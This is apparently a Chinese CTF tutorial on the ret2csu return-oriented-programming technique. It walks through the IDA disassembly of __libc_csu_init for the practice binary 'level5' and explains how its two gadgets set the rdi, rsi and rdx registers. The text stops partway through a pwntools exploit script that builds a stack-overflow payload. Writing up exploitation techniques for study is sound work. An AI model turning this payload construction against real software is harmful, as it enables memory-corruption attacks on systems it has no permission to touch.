ret2csu
原理
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,分别是rdi、rsi、rdx、rcx、r8、r9,第7个以后的参数存放在栈中,gadget不够时可以使用__libc_csu_init 中的 gadgets
利用libc_csu_init中的两段代码片段来实现3个参数的传递
例题
level5
与ctfwiki上的例题有细微的差别,但解题思路是一样的
__libc_csu_init
.text:0000000000401190 ; void _libc_csu_init(void)
.text:0000000000401190 public __libc_csu_init
.text:0000000000401190 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000401190 ; __unwind {
.text:0000000000401190 push r15
.text:0000000000401192 mov r15, rdx
.text:0000000000401195 push r14
.text:0000000000401197 mov r14, rsi
.text:000000000040119A push r13
.text:000000000040119C mov r13d, edi
.text:000000000040119F push r12
.text:00000000004011A1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011A8 push rbp
.text:00000000004011A9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011B0 push rbx
.text:00000000004011B1 sub rbp, r12
.text:00000000004011B4 sub rsp, 8
.text:00000000004011B8 call _init_proc
.text:00000000004011BD sar rbp, 3
.text:00000000004011C1 jz short loc_4011DE
.text:00000000004011C3 xor ebx, ebx
.text:00000000004011C5 nop dword ptr [rax]
.text:00000000004011C8
.text:00000000004011C8 loc_4011C8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
.text:00000000004011EC ; } // starts at 401190
.text:00000000004011EC __libc_csu_init endp
对第一段gadget的分析
1.add不需要,所以不必使用
2.把值pop到rbx寄存器中
3.把值pop到r12寄存器中
4.把值pop到r13寄存器中
5.把值pop到r14寄存器中
6.把值pop到r15寄存器中
7.返回
对第二段gadget的分析对第二段gadget的分析![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/660c21f6f85fb0d5f7bd860e5182ef82.png)
1.把r15的值传给rdx
2.把r14的值传给rsi
3.把r13的低32位的值传给rdi
4.调用函数
5.rbx的值加1
6.比较rbp和rbx的值
7.不为0(不相等)跳转,0(相等)则不跳转
总结一下
1.利用r13控制rdi
2.利用r14控制rsi
3.利用r15控制rdx
4.将rbx设置为0才不会产生偏移
5.利用call调用函数(call函数为跳转到某地址内所保存的地址,应该使用got表中的地址)
6.令rbp=rbx+1防止跳转
####
checksec
ida
exp
from pwn import *
from LibcSearcher import *
context(os=‘linux’,arch=‘amd64’,log_level = ‘debug’)
level5 = ELF(‘./level5’)
sh = process(‘./level5’)
write_got = level5.got[‘write’]
read_got = level5.got[‘read’]
main_addr = level5.symbols[‘main’]
bss_base = level5.bss()
csu_front_addr = 0x00000000004011C8
csu_end_addr = 0x00000000004011E2
fakeebp = b’b’ * 8
#def csu(0,1,call,rdi,rsi,rdx,last)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = b’a’ * (0x80) + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp)